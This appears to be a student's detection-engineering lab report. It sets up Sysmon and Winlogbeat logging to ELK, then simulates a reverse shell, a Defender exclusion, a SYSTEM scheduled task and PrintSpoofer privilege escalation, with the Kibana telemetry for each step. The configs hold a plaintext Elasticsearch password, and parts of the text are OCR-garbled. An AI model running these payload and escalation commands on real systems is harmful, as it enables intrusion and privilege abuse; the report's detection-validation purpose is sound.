'Q;Audit Success 12/23/2025 3:25:57 AM Microsoft Windows security auditing. 4688 Process Creation
"}\I;Audit Success 12/23/2025 3:25:57 AM Microsoft Windows security auditing. 4826 Other Policy Change Events
'K.‘Audit Success 12/23/2025 3:25:57 AM Microsoft Windows security auditing. 4696  Process Creation
"}\I;Audit Success 12/23/2025 3:25:57 AM Microsoft Windows security auditing. 4688  Process Creation
'Q;Audit Success 12/23/2025 1:35:37 AM Microsoft Windows security auditing. 4672 Special Logon
B pydit Succace 1372373025 1.35.37 AkA bicrnenft Windowes cecurte anditing ARIA | nnnn

4.1.2 Sysmon Deployment (Client + Domain Controller) :

e Goal:

Enhance endpoint and DC telemetry for process execution, credential access,

and lateral movement detection, with logs forwarded to ELK via Elastic Agent.



¢ On Windows Client and DC:

-Opened Browser
e Downloaded Sysmon from Microsoft:
https://learn.microsoft.com/sysinternals/downloads/sysmon
e Extract the files to:
C:\Sysmon

¢ You will then have:

C:\Sysmon\Sysmon64.exe

Download Sysmon Config (Recommended)

» Best Option (Enterprise Standard):
e SwiftOnSecurity Config

https://github.com/SwiftOnSecurity/sysmon-config
e Download the file:

sysmonconfig-export.xml

e Copy it to:

C:\Sysmon\sysmonconfig.xml

Installing Sysmon (Client + DC)

e Open PowerShell and run as administrator.
e Execute:

cd C:\Sysmon
A\Sysmon64.exe -accepteula-i sysmonconfig.xml

e Expected Output:



PS C:\Sysmon> .\Sysmon64.exe -accepteula-i sysmonconfig-export.xml

SystemMonitor v15.15-Systemactivity monitor

By Mark Russinovich and Thomas Garnier

Copyright (C) 2014-2024 Microsoft Corporation

Using libxml2. libxml2 is Copyright (C) 1998-2012 Daniel Veillard. ALl Rights
Reserved.

Sysinternals - www.sysinternals.com

Loading configuration filewith schema version 4.50
Sysmon schema version: 4.90

Configuration file validated.

Sysmon64 installed.

SysmonDrv installed.

Starting SysmonDrv.

SysmonDrv started.

Starting Sysmon64..

Sysmon64 started.

PS C:\Sysmon>

Installation Verification

Service

Get-Service Sysmon64
Status must be:

PS C:\Sysmon> Get-Service Sysmon64

Status Name DisplayName

Running Sysmon64 Sysmon64

Event Log

e Event Viewer -
->Applications and Services Logs
Microsoft
Windows
Sysmon
Operational



2] Event Viewer
File Action View Help

e 2= B

| SmartCard-DeviceEnum A Operational Number of events: 30
| SmartCard-TPM-VCard-|
“ SmartScreen Level Date and Time Source Event D} Task Category
| SMBClient 1 Information  12/22/2025 9:34:25 PM Sysmon 8 CreateRemoteThread detected (rule: CreateRe...
| SMBDirect @ 12/22/2025 9:34:14 PM Sysmon 22 Dns query (rule: DnsQuery)
_ SMBServer Information 12/22/2025 9:34:14 PM Sysmon 22 Dns query (rule: DnsQuery)
7 SMEBWitnessClient Information  12/22/2025 9:33:23 PM Sysmon 22 Dns query (rule: DnsQuery)
:; StateRepository Information  12/22/2025 %:33:04 PM Sysmen 22 Dns query (rule: DnsQuery)
— Storage-Tiering Information  12/22/2023 %:32:30 PM Sysmaon 22 Dns query (rule: DnsQuery)
— StorageManagement Information  12/22/2025 $:32:05 PM Sysmaon 22 Dns query (rule: DnsQuery)
—| StorageManagement-Pa Information  12/22/2025 %:32:04 PM Sysman 22 Dns query (rule: DnsQuery)
_ Storagesettings ) Information  12/22/2025 9:32:04 PM Sysmon 22 Dns query (rule: DnsQuery)
- StDI'EgESpECES-AF!I Information  12/22/2025 9:32:03 PM Sysmon 22 Dns query (rule: DnsQuery)
- 2:2:3:22:5::2;::293 W Information  12/22/2025 9:32:03 PM Sysmon 22 Dns query (rule: DnsQuery)
= (i) Information  12/22/2025 %:32:03 PM Sysmon 22 Dns query (rule: DnsQuery)
_| StorageSpaces-Parser — X
(i) Information  12/22/2025 9:31:45 PM Sysmon 1 Process Create (rule: ProcessCreate)
_| StorageSpaces-5SpaceMa
— StorDiag Event 8, Sysmon
| Store
| StorPort General Details
I Starsvc
~v [ Sysmon CreateRemoteThread detected:

T SystemDatahrchiver UtcTime: 2025-12-23 05:34:25.142

Enabled Windows Logging (Sysmon And Advanced Audit Policies)

4.2 Logging Configuration with Winlogbeat

Enrolling Windows Endpoints via Winlogbeat

To ensure reliable telemetry ingestion, Winlogbeat was deployed on both the DC
and the Windows Client. This ensures that Security, Sysmon, and PowerShell logs
are forwarded directly to Elasticsearch.

Step 1: Installation

e Downloaded Winlogbeat (x86_64) and extracted it to C:\Program
Files\Winlogbeat .

¢ Installed the service using the PowerShell script: .\install-service-
winlogbeat.ps1 .

Step 2: Configuration ( winlogbeat.yml ) The configuration
was tuned to capture the exact logs required by the attack
scenario:

In DC (Win Server) :

e Open PowerShell as Administrator, then edit the main configuration file:

PS C:\Winlogbeat> notepad.exe .\winlogbeat.yml



First: Event Logs Settings

winlogbeat.event logs:
- name: Application
ignore older: 72h

- name: System
- name: Security

event id: 4624, 4625, 4688, 4698, 4768, 4769, 4776
ignore older: 72h

- name: Microsoft-Windows-Sysmon/Operational
ignore_older: 72h

- name: Windows PowerShell
event id: 400, 403, 600, 800

- name: Microsoft-Windows-PowerShell/Operational
event 1id: 4103, 4104, 4105, 4106
ignore_older: 72h

- name: ForwardedEvents
tags: [forwarded]

Second: Output Configuration Settings

¢ Under the Kibana section:

# Kibana

# Startingwith Beats version 6.0.0, the dashboards are loaded via the Kibana
API.

#This requires a Kibana endpoint configuration.

setup.kibana:

# Kibana Host

# Scheme and port can be left out andwill be set to the default (http and
5601)

# In case you specify and additional path, the scheme is required:
http://localhost:5601/path

# IPv6 addresses should always be defined as: https://[2001:db8::1]1:5601
host: "http://192.168.56.103:5601"

#ssl.verification mode: none



# Kibana Space ID
# ID of the Kibana Space intowhich the dashboards should be loaded. By

default,
# the Default Spacewill be used.
#space.id:

e Under the Elasticsearch output and Add template settings :

# = Qutputs

# Configure what output to use when sending the data collected by the beat.

setup.template.enabled: true
setup.template.name: "dc-server-winlogbeat"
setup.template.pattern: "dc-server-winlogbeat-*"

setup.ilm.enabled: false
winlogbeat.index: "dc-server-winlogbeat-%{+yyyy.MM.dd}"

# Elasticsearch Output
output.elasticsearch:
# Array of hosts to connect to.
hosts: ["https://192.168.56.103:9200" ]
ssl.verification_mode: none

#Protocol -either "http (default) or "https’.
#protocol: "https"

# Authentication credentials - either API key or username/password.
#api key: "id:api key"
username: "elastic"

password: "SRA0Qsz3*Q6B=QDG*j6F"

#Pipeline to route events to security, sysmon, or powershell pipelines.
# pipeline: "winlogbeat-%{[agent.version]}-routing"

In Windows-11 (Client) :

e Open PowerShell as Administrator, then edit the main configuration file:
PS C:\Winlogbeat> notepad.exe .\winlogbeat.yml

First: Event Logs Settings



winlogbeat.event logs:
- name: Application
ignore older: 72h

- name: System

- name: Security
event 1id: 4624, 4625, 4688, 4698, 4768, 4769, 4776
ignore older: 72h

- name: Microsoft-Windows-Sysmon/Operational
ignore older: 72h

- name: Windows PowerShell
event 1id: 400, 403, 600, 800

- name: Microsoft-Windows-PowerShell/Operational
event id: 4103, 4104, 4105, 4106
ignore older: 72h

- name: ForwardedEvents
tags: [forwarded]

Second: Output Configuration Settings

¢ Under the Kibana section:

# Kibana

# Starting with Beats version 6.0.0, the dashboards are loaded via the Kibana
API.

# This requires a Kibana endpoint configuration.

setup.kibana:

# Kibana Host

# Scheme and port can be left out andwill be set to the default (http and
5601)

# In case you specify and additional path, the scheme is required:
http://localhost:5601/path

# IPv6 addresses should always be defined as: https://[2001:db8::1]1:5601
host: "http://192.168.56.103:5601"

#ssl.verification mode: none

# Kibana Space ID
# ID of the Kibana Space into which the dashboards should be loaded. By



default,
# the Default Spacewill be used.
#space.id:

¢ Under the Elasticsearch output and Add template settings :

# = Qutputs =

# Configure what output to use when sending the data collected by the beat.

setup.template.enabled: true
setup.template.name: "win-client-winlogbeat"
setup.template.pattern: "win-client-winlogbeat-*"

setup.ilm.enabled: false
winlogbeat.index: "win-client-winlogbeat-%{+yyyy.MM.dd}"

# Elasticsearch Output
output.elasticsearch:

# Array of hosts to connect to.

hosts: ["https://192.168.56.103:9200" ]
ssl.verification mode: none

#Protocol -either "http (default) or https".
#protocol: "https"

# Authentication credentials - either API key or username/password.
#api key: "id:api key"

username: "elastic"

password: "SRA0Qsz3*Q6B=QDG*j6F"

#Pipeline to route events to security, sysmon, or powershell pipelines.
# pipeline: "winlogbeat-%{[agent.version]}-routing"

Step 3: Install and Start the Winlogbeat Service In (Win,
Server)

e In Win-Server And Winows11:
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

Allows PowerShell scripts to be temporarily run in the current session without the
default security restrictions. Required for installing and running the Winlogbeat



| script.
Ainstall-service-winlogbeat.ps1

It installs Winlogbeat as a Windows service, so that it starts automatically when
the system boots up.

Start-Service winlogbeat

Launches the previously installed Winlogbeat service.

e Then confirm the service status:
Get-Servicewinlogbeat

Checks the service status to ensure Winlogbeat is running and working in the
background.

Step 4 - Test Configuration and Connectivity

e Validate syntax:

Awinlogbeat.exe test config

| Output: Config OK

e Check Elasticsearch connection:
Awinlogbeat.exe test output
e Out

PS C:\Winlogbeat> .\winlogbeat.exe test output
elasticsearch: https://192.168.56.103:9200...
parse url... OK
connection...
parse host... 0K
dns lookup... OK
addresses: 192.168.56.103
dial up... OK
TLS...
security... WARN server's certificate chain verification is disabled



handshake... 0K
TLS version: TLSv1.3
dial up... 0K
talk to server... 0K
version: 9.2.1

Step 5 - Load Dashboards and Pipelines

¢ In Win-Server And Winows11:

Awinlogbeat.exe setup --index-management

Awinlogbeat.exe setup -e

All successfully verified with logs such as:

e This automatically loads:
¢ |Index templates

e Ingest pipelines
e Default Winlogbeat dashboards

Kibana dashboards successfully loaded.
Loaded Ingest pipelines

Verifying Logs in Kibana

e in Server:

PS C:\Winlogbeat> hostname
DC

¢ in windows :

PS C:\Users\NormalUser> hostname
Win

After that, i go to Analytics - Discover And Simpal Search:

e As Server :



= © (Qod o|]@v u

foaca)

Auto interval v No breakdown 0]

T -
ooog L /I
Dlecember 24, 202
Dec 24, 2025 @ 00:00:00.000 - Dec 24, 2025 @ 23:59:59.999 (interval: Auto - 30 minutes)
Documents (6,008)  Field statistics I sortfields 1 Q = |3
[ @ @timestamp (® L summary @

agent.ephemeral_id b1f5782d-3e74-43ba-be8f-55a7567bf9f8 agent.id 462d1126-8a33-483c-b679-32dd37eca38
8 agent.type winlogbeat agent.version 9.2.3 ecs.version 8.8.0 event.action Mone event.code 7836..

[] .* Dec 24, 2825 @ 18:31:15.724 agent.hostname DC agent.name D host.hostname DG @timestamp Dec 24, 2025 @ 18:31:15.724

[:] " Dec 24, 2825 @ 18:31:15.724 agent.hostname DC agent.name DC host.hostname DC @timestamp Dec 24, 2825 @ 18:31:15.724

e As Win:

= © IQ, Win - g——— 0] v W
Auto interval ~ No breakdown ~ o
..]:.- I‘
200 - p—— —
Dec 24, 2025 @ 00:00:00.000 - Dec 24, 2025 @ 23:59:59.999 (interval: Auto - 30 minutes)
Documents (2,677)  Field statistics T sortfields 1 Q = [
[ ® @timestamp (® J. summary (&

[} .* Dec 24, 2825 @ 10:31:27.661 agent.hostname Wip agent.name Win host.hostname Wip @timestamp Dec 24, 2825 @ 18:31:27.661

agent.ephemeral_id 7f75ede8-78e1-4177-9b87-f7e32ad367ee agent.id ccf98b77-8694-473e-9e81-15f6a72f3:
d agent.type winlogbeat agent.version 9.2.3 ecs.version 8.8.8 event.action None event.code 6..

[:] " Dec 24, 2825 @ 16:31:27.655 agent.hostname Win agent.name Win host.hostname Win @timestamp Dec 24, 2825 @ 18:31:27.655

Rows per page: 100 <12 3 45

| Logging Configuration with Winlogbeat is DONE

| Attacker Machine Setup and
Preparation

Objective

e The objective of this phase is to prepare a dedicated attacker machine to
simulate realistic adversary behavior against the Active Directory environment.

Attacker Machine Overview



Component Description

Operating System Ubuntu Linux
Role Attacker Machine
Purpose Simulate external attacker activity

Network Connectivity = Host-Only Network (shared with victim machines)

» The attacker machine was designed with the following considerations:
* Isolation:
e The attacker operates from a separate system, preventing local test
artifacts from contaminating victim telemetry.
e Realism:
e Attacks originate from an external Linux-based host, closely
resembling real-world adversary infrastructure.
e Detection Accuracy:
» All malicious actions are observed remotely by the victim systems,
allowing reliable correlation of logs within the SIEM.
¢ Network Configuration :
e The attacker machine resides on the same Host-Only network as the
Domain Client and Domain Controller.
e This configuration enables direct communication for attack simulation while
preventing unintended internet exposure.

e Network connectivity was validated prior to attack execution.

Install the required tools

e To support the execution of the attack simulation phases defined in this lab, a
minimal and purpose-driven set of offensive security tools was installed on the
Attacker Machine (Ubuntu Linux).

e The selected tools were strictly limited to those required to execute the attack
chain and generate meaningful telemetry for SIEM-based detection validation.

Tool Installation

The following commands were used to prepare the attacker environment:

# Update system repositories
sudo apt update && sudo apt upgrade -y



# Install Metasploit Framework (Initial Access & C2 simulation)
sudo apt install -y metasploit-framework

# Install Impacket toolkit (Pass-the-Hash & lateral movement)
sudo apt install -y python3-impacket

# Install SMB client utilities
sudo apt install -y smbclient

# Install networking and connectivity tools
sudo apt install -y netcat-openbsd nmap

# Install file transferutilities
sudo apt install -y curl wget

# Install network discovery tool
sudo apt install -y netdiscover

Installed Tool Purpose Mapping

Tool Purpose in Lab

Metasploit Framework Reverse shell generation, session handling, and attack orchestration

Impacket Pass-the-Hash authentication during lateral movement

smbclient SMB interaction with domain systems

netcat (nc) Basic connectivity testing and shell handling

nmap Network validation and service discovery

curl / wget Payload transfer and remote file retrieval

netdiscover Network host discovery within the lab environment
Tool Validation

After installation, tool availability and readiness were verified using the following
commands:

msfconsole --version
impacket-wmiexec -h
smbclient --version
nc -h

nmap --version
curl--version

wget --version



netdiscover -h
impacket-smbserver.py -h

"4 Successful execution of these commands confirms that the attacker machine
was fully prepared for all attack simulation phases.

_| Attack Simulation & Validation

Attack Chain Summary
Step Technique MITRE ID
Initial Access (Execution)  Reverse Shell T1059
Privilege Escalation Token Manipulation  T1134
Credential Dumping LSASS Memory T1003.001
Lateral Movement Pass-the-Hash T1550.002

Step 1: Initial Access (Reverse Shell)

Objective

Establish an initial foothold on the Windows 11 domain-joined client by forcing it to
initiate a reverse TCP connection to the attacker machine.

Attacker IP Identification

The attacker machine (Ubuntu) has multiple network interfaces.
For lab communication with the Windows victim over the Host-Only network, the
following IP was selected: Attacker IP:192.168.56.104

«* Reasoning:

e 10.0.2.20 - NAT interface (internet access only)
e 192.168.56.104 - Host-Only interface (inter-VM communication)
e The Windows client resides on the same Host-Only subnet

Connection Test



From Ubuntu (Attacker):
ping 192.168.56.102

ICMP responses may be blocked by Windows Firewall by default.
Successful reverse connections confirm functional TCP connectivity regardless
of ICMP behavior.

From Windows Client:

C:\Users\NormalUser>ping 192.168.56.105

Pinging 192.168.56.105 with 32 bytes of data:

Reply from 192.168.56.105: bytes=32 time<ims TTL=64
Reply from 192.168.56.105: bytes=32 time<ims TTL=64
Reply from 192.168.56.105: bytes=32 time<lims TTL=64
Reply from 192.168.56.105: bytes=32 time<ims TTL=64

Ping statistics for 192.168.56.105:
Packets: Sent =4, Received =4, Lost =0 (0% loss),
Approximate round trip times inmilli-seconds:
Minimum = Oms, Maximum = Oms, Average = 0ms

| Network connectivity between attacker and victim confirmed.

Payload Generation

e A simple Windows reverse shell executable was generated using msfvenom :

msfvenom-p windows/x64/shell reverse tcp\
LHOST=192.168.56.104 \

LPORT=4444 \

-f exe -0 reverse shell.exe

e Payload Characteristics
e Architecture: x64
e Connection Type: Reverse TCP
e Listener Port: 4444
» Execution Method: User execution on Windows client

Payload size: 460 bytes
Final size of exe file: 7680 bytes



Saved as: reverse shell.exe

Listener Setup (Attacker Machine)

Before executing the payload, a listener was started on the attacker machine:

nc -lvnp 4444

|
Listening on 0.0.0.0 4444

Payload Execution on Victim

Windows Defender Handling

During file transfer, Windows Defender automatically quarantined the payload due
to known malicious signatures.

e To maintain a realistic security posture, Windows Defender was kept enabled
and a scoped exclusion was applied to a dedicated lab directory.

Add-MpPreference -ExclusionPath
"C:\Users\NormalUser\Desktop\LabPayloads\"

Defender remained active
Only a controlled lab directory was excluded
Endpoint security telemetry preserved

e The payload was then moved into the excluded directory and executed by the
standard domain user:

PS C:\Users\NormalUser\Desktop\LabPayloads> .\reverse shell.exe
PS C:\Users\NormalUser\Desktop\LabPayloads>

Successful Session Establishment

¢ On the attacker machine:

ubuntuvm@ubuntuvm:~/Lab$ nc -lvnp 4444
Listening on 0.0.0.0 4444

Connection received on 192.168.56.102 58698
Microsoft Windows [Version 10.0.22000.376]

(c) Microsoft Corporation. All rights reserved.



C:\Users\NormalUser\Desktop\LabPayloads>

: S nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.56.102 58698
Microsoft Windows [Version 10.0.22000.376]
(c) Microsoft Corporation. ALl rights reserved.

C:\Users\NormalUser\Desktop\LabPayloads>1s

1s

'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\NormalUser\Desktop\LabPayloads=>dir
dir

Volume in drive C has no label.

Volume Serial Number is BESB-F7C3

Directory of C:\Users\NormalUser\Desktop\LabPayloads

O7:05 PM <DIR=

06:38 PM <DIR= ..

O7:05 PM 7,680 reverse shell.exe
1 File(s) 7,680 bytes
2 Dir(s) 2,627,524,608 bytes free

E:\User5\NormalUser\Desktop\LabPayloadS}I

Telemetry analysis

To validate that the simulated attack generated observable telemetry and that all

attack artifacts were successfully ingested into the SIEM, the following log sources
were reviewed in Kibana - Discover.

_| Process Creation - Sysmon (Event ID 1)

e Sysmon process creation logs confirm the execution of the malicious payload
and its resulting child process.

event.provider:"Microsoft-Windows-Sysmon" and event.code:1

e Observed Evidence:

¢ A malicious executable named reverse_shell.exe was executed from:

C:\Users\NormalUser\Desktop\LabPayloads\



e The payload spawned a child process:
C:\Windows\System32\cmd.exe

e Parent-Child Relationship:
o Parent Process: reverse shell.exe

e Child Process: cmd.exe

¢ User Context:
e Executed under the domain user: TEST\NormalUser
* Integrity Level: Medium (Low-privileged user)

“INetwork Connection - Sysmon (Event ID 3)

e Sysmon network telemetry is expected to record the outbound connection
initiated by the reverse shell :

event.provider:"Microsoft-Windows-Sysmon" and event.code:3

Expected Observation:

e Outbound network connection from the victim host to:
o Attacker IP: 192.168.56.104
o Port: 4444

bd
Document 1€ < 5of 7 > >
° @ event provider:"Microsoft-Windows-Sysmon” and & v | Today L3 Refresh Actions: [ View single document B View surrounding documents
&5 Auto interval ~ Mo breakdown )
. Table JSON
: (B _Coputoclig 4
1 14 ‘Initiated”: “true”,
( . u n 15 "RuleName”: “Usermode”, 4
December 24, 2025 ) 16 "ProcessGuid™: °
Dec 24, 2025 @ 00:00:00.000 - Dec 24, 2025 @ 23:59:58.999 (interval: Auto - 30 minutes) {5B3BBEDS-5081-604B-4C81-000000801B88} ",
17 "SourcePortName”: "-",
Documents (7)  Field statistics I Sortfields 1 (o} = 18 "User”: "TEST\\NormalUser",
I 19 *Sourcelp”: "192.168.56.182",
@ @umestamp O | Summary 28 "DestinationHostname”™: "-"
i e e e D g s A mEEm ew Sumn e we S s 2
” 5 ‘DestinationPort”: "4444°,
« Dec 24, 2825 0 85:48:51.958 event.code 3 event.provider Micro: jows-Sysmon @timestamp Dec 24 . I .
. 2025 © 85:48:51.058 agent.ephemeral_id b1f5782d-Je74-43ba-beBf-55a75 SourceHostname”: "Win.Test.local”,
f& agent.hostname DC agent.id 462d1126-8a33-483c-b670-32dd37ecad_ 23 Protocol™: “tep”,
24 "SourcelsIpvG”: “false”,
»“ Dec 24, 2825 © 85:87:46.149 |event.code 3 event.provider Microsoft-Windows-Sysmon @timestamp Dec 24 25 DestinstionToTovb" s “False’
___,__.———P , 2025 © B5:087:46.149 agent.ephemeral_id 225467ca-7cBc-4B73-b7be-19f2d - ) Anataanistpy ;2 o8 ;el o
2 ’ tinationIp”: "192.168.56.184",
8f2754b agent.hostname Win agent.id ccfd8b77-8694-473e-0ef1-15f6a72f3_ 20 estinationip
27 ‘DestinationPortHame”: "-",
" Dec 24, 2825 © 01:48:47.758 event.code 3 event.provider Microsoft-Windows-Sysmon Gtimestamp Dec 24 28 teTimer: "2825-12-24 B3:87:45.820"
, 2025 © 81:48:47.758 agent.ephemeral_id bi1f5782d-3e74-43ba-bedf-55a75 ;.. 'D;cc;s"::.l"' ,5;20,, T
67bfOfE agent.hostname DC agent.id 462d1126-Ba33-483c-b670-32dd3Tecad . ;a 1 L :
mage" :
." Dec 24, 2825 © 08:38:82.392 event.code 3 event.provider Microsoft-Windows-Sysmon Gtimestamp Dec 24 “C:\\Users\\NormalUser\\Desktop\\LabPayloads\reve
. 2025 © 8@:38:02.392 agent.ephemeral id b1f5782d-3e74-43ba-be8f-55a75 Fon shell.exe’ i

67bf3fE agent.hostname DC agent.id 462d1126-8a33-483c-b679-32dd37ecad_

This confirms successful command-and-control (C2) communication
establishment.

MITRE ATT&CK Mapping



Technique ID

User Execution 11204
Command and Scripting Interpreter  T1059

Ingress Tool Transfer (optional) T1105

Outcome

74 Malicious payload execution confirmed

{4 Reverse shell successfully spawned cmd.exe
"4 Execution occurred under a low-privileged domain user

"4 Full process ancestry and hashes captured

"4 Telemetry suitable for detection engineering and MITRE ATT&CK mapping

Step 2: Privilege Escalation

Simulate and validate a Privilege Escalation path based on
SelmpersonatePrivilege, observe its behavior at the access token level, and
generate relevant telemetry for detection purposes.

2.1 Initial Privilege Assessment

e After obtaining a command shell on the Windows client as a low-privileged
domain user ( NormalUser ), the first step was to enumerate the privileges
assigned to the current access token.

whoami /priv
e Out:

C:\Users\NormalUser\Desktop>whoami /priv
whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State

SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled



SeUndockPrivilege Remove computer fromdocking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled

At this stage, SelmpersonatePrivilege is not present in the interactive user
token.

2.2 Scenario Context - Misconfiguration Simulation

This exercise does not represent a random or opportunistic attack.
Instead, it follows a predefined attack scenario:

Privilege Escalation via SelmpersonatePrivilege abuse

To simulate a realistic enterprise misconfiguration, the environment is intentionally
modified to introduce a configuration weakness that an attacker can later exploit
and detect through telemetry.

2.3 Simulating the Misconfiguration

To simulate this misconfiguration:

e On the Windows client machine, Local Security Policy was opened with
administrative privileges.

e Navigated to: Local Policies - User Rights Assignment

e Modified the policy: Impersonate a client after authentication
e Added the user: NormalUser

* Restarted the system to apply the policy changes.

| 1

Select Users, Computers, Service Accounts, or Groups

Select this object type:
Users, Service Accounts, Groups, or Buittin security principals Object Types...

From this location:

Test local Locations...

Enter the object names to select (examples):
Mormal User (MomallUser@Test Jocall Check Mames

Advanced... Cancel

Add User or Group... * i




This step simulates an administrative misconfiguration that exists prior to
exploitation, not attacker-driven privilege assignment.

2.4 Verifying Token Privileges After Restart

After reconnecting using the reverse shell, privileges were enumerated again:
whoami /priv
Result:

C:\Users\NormalUser\Desktop\LabPayloads>whoami /priv
whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State

SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer fromdocking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled

| No change observed — SeImpersonatePrivilege is still missing.

2.5 Why the Privilege Did Not Appear

This behavior is expected and highlights a critical Windows security concept:

| User Rights Assignment # Access Token Privileges

Key Technical Reasons:

e SelImpersonatePrivilege :
* Is assigned at logon time
* Is not granted to standard interactive user tokens
e Even after restart:
e NormalUser logs in via Interactive Logon
¢ Windows does not inject SelmpersonatePrivilege into interactive tokens



+ As aresult, the privilege exists at the policy level but is not usable in the current
execution context.

2.6 Why Creating a New User Is Not a Valid Solution

A potential idea was to create a new user, assign SeImpersonatePrivilege , and
then log in.

However:

e Even with a fresh login:
« Interactive user tokens still do not receive SelmpersonatePrivilege

e This approach:
e Does not represent a realistic attacker-controlled escalation path

¢ Produces limited detection value
e Breaks the intended attack narrative

Therefore, this option was intentionally rejected.

2.7 Correct Exploitation Path - Service / SYSTEM Context

To access SeImpersonatePrivilege , the payload must execute in a
non-interactive context, such as:

¢ Windows Service
e Scheduled Task running as SYSTEM

Since NormalUser cannot create services directly, an elevated administrative shell
was used to simulate this execution context.

2.8 Executing the Payload as SYSTEM

A scheduled task was created to execute the reverse shell payload as SYSTEM at
startup:

schtasks /create /tn Lab /sconstart /ru SYSTEM /tr
C:\Users\NormalUser\Desktop\LabPayloads\reverse shell.exe

schtasks /run /tn Lab

2.9 Resulting SYSTEM Shell

] On the attacker machine (listener already active):



nc -lvnp 4444
] Connection established:

C:\Users\NormalUser\Desktop\LabPayloads>whoami /priv
whoami /priv

e Privilege enumeration confirms successful escalation:
whoami /priv

e Key privileges now available:

C:\Windows\system32>whoami /priv
whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State
SeImpersonatePrivilege Enabled

SeDebugPrivilege Enabled

SeTcbPrivilege Enabled

SeAssignPrimaryTokenPrivilege Present

At this point, the environment is correctly prepared for Selmpersonate-based
exploitation and detection analysis.

] The PrintSpoofer tool was downloaded from the attacker's device:

ubuntuvm@ubuntuvm:~/Lab$ wget
https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofe
ré4.exe

_ Transferring the tool to the victim's device:

e Sharing files using SMB Server on Ubuntu:



sudo python3 smbserver.py share ~/Lab -smb2support
o Transferring PrintSpoofer to the victim's device:

copy \\192.168.56.104\share\PrintSpoofer64.exe
C:\Windows\Temp\PrintSpoofer.exe

] Verify the tool is present in the Temp folder on the victim's machine:
dir CG:\Windows\Temp\
_J Run the tool with SYSTEM privileges on the victim's machine:

C:\Windows\Temp\PrintSpoofer.exe-i-c cmd

ubuntuvm@ubuntuvm: ~ ubuntuvm@ubuntuvm: ~/Lab ubuntuvm@ubuntuvm: fusr. ..

Volume Serial Number is 8ESB-F7C3

Directory of C:\Windows\Temp

NN

Ty, T T, T T, T, Ty Ty ] e ey e

R R

L ¥ B R o R W R O (R s W R W I |

[ =N R N R S N TR S LN SN

S M S T S S T S U S S e

1
1
1
d
1
1
1
1
1
1
1
1

© PN NN NN WN NN
T R N S N = R N
OO OEREEWE® O

Pd B PR R R M
(RS I S  S  O  S T  I S

-

8]

w
[clolc Mol ollcolloll s Jiol
[ o T w

08:

=
o

[ S R ]

=
=

(NI NN

@2~ W

:I'.-\.L,JJL,LJLJJI—'-
o= 000~

:36
120
: 57
7 File(s)
4 Dir(s)

AM
PM
PM

PM
PM
PM
PM
PM
AM
PM
AM

<DIR=>
<DIR=
<DIR>

<DIR>

178,284
8,992
27,136

T67CA467-AABB-444F-9917-CBB295A037CDb48. 1

DiagOutputDir
FXSAPIDebuglogFile. txt
FXSTIFFDebuglLogFile. txt
mat-debug-1704.log
mat-debug-1904. log
MpCmdRun. log
MpSigStub.log
PrintSpoofer.exe

214,412 bytes
62,620,069,888 bytes free

C:\Users\NormalUser\Desktop\LabPayloads>C:\Windows\Temp\PrintSpoofer.exe -i -c c

md

C:\Windows\Temp\PrintSpoofer.exe -1 -c cmd

E:\User5\NormalUser\Desktop\LabPayloadS}I

e -i - means install: Install or uninstall the Print Spooler service while being

granted system privileges.

 -c cmd - means open the command prompt after exploiting the exploit

with SYSTEM privileges.

» Privileges have been upgraded from NormalUser to SYSTEM



e All commands | run now will be executed with full privileges, not as a normal

user.

Telemetry analysis

Process Creation (Sysmon / 4688)

This event demonstrates the successful execution of the PrintSpoofer tool on the
victim's machine, resulting in privilege escalation to the SYSTEM level.

Command Line: PrintSpoofer.exe-i-c cmd

e = Indicates an attempt to spoof a token and run cmd.exe with SYSTEM
privileges.

e User Context:
NT AUTHORITY\SYSTEM = Conclusive evidence of successful Privilege
Escalation.

e Integrity Level: System

e Parent Process: C:\Windows\System32\cmd.exe

» Child Process Behavior: PrintSpoofer is the process responsible for creating a
high-privilege command session.

e EventID: 1 (Process Create)

@ O PrintSpoofer.exe

Auto interval

Documents (6)

(@ @timestamp (5

+ Dec 24,

«" Dec 24,

<" Dec 24,

«" Dec 24,

" Dec 24,

«" Dec 24,

Field statistics

2825 @ 19:87:12.327

20825 § 18:47:47.249

2823 # 18:33:16.424

20825 # 18:34:49.268

20825 & 18:34:46.358

2825 # 18:33:28.977

~ | Today U} Refresh

No breakdown - e

L

1 Sortfields 1

00

Dec 24, 2025 @ 00:00:00.000 - Dec 24, 2025 & 23:50:50.009 (interval: Auta - 30 minutes)

Q= ="

| Summary (3

message Process Create: RuleName: - UtcTime: 2823-12-24 17:87:12.322 ProcessGuid: {5B3BBE93-1DC@-694C-C
402-3BAPAAAA10EA} ProcessId: 3748 Image: C:\Mindows\Temp\P we FileVersion: - Description: -
Product: - Company: - OriginalFileName: - CommendLine: C:\Windows'Temg\| -c cad Curr.
:47.245 ProcessGuid: {SB3BBEYS-1933-694C-A
ileVersion: - Description: -
nispoafer.exe -1 -c ond Curre

nispeafer.exe -1
message Process Creste: RuleName: - UtcTime: 2025-12-24 16
502-BBBEAAAAT0AA} ProcessId: 4496 Image: C:\Mindows\Tel
Product: - Company: - OriginalFileMame: - CommandLine:

Windaws '\ Tanp!

message Process Creste: RuleName: - UtcTime: 2823-12-24 16
BB2-ABAEARAAT0AA} ProcessId: 4464 Image: C:\Mindows\Temp
Product: - Company: - OriginalFileMame: - Commendline:

:16.417 ProcessGuid: {383BBEY3-1644-694C-9
Spaaf; FileVersion: - Description: -
-i-c end Curre

message Process Create: RuleName: - UtcTime: 2025-12-24 16:34:49.258 Pry E E95-1629-694C-8
FB2-ABREARAAT0EA} ProcessId: 4288 Image: C:\Mindows\Temp'PrintSpoofer.exe FileVersion: - Description: -
Product

- Company: - OriginalFileName: - Commandline: C:\Windows'Temp\PrintSpoofer.exe -i -c cmd Curr.
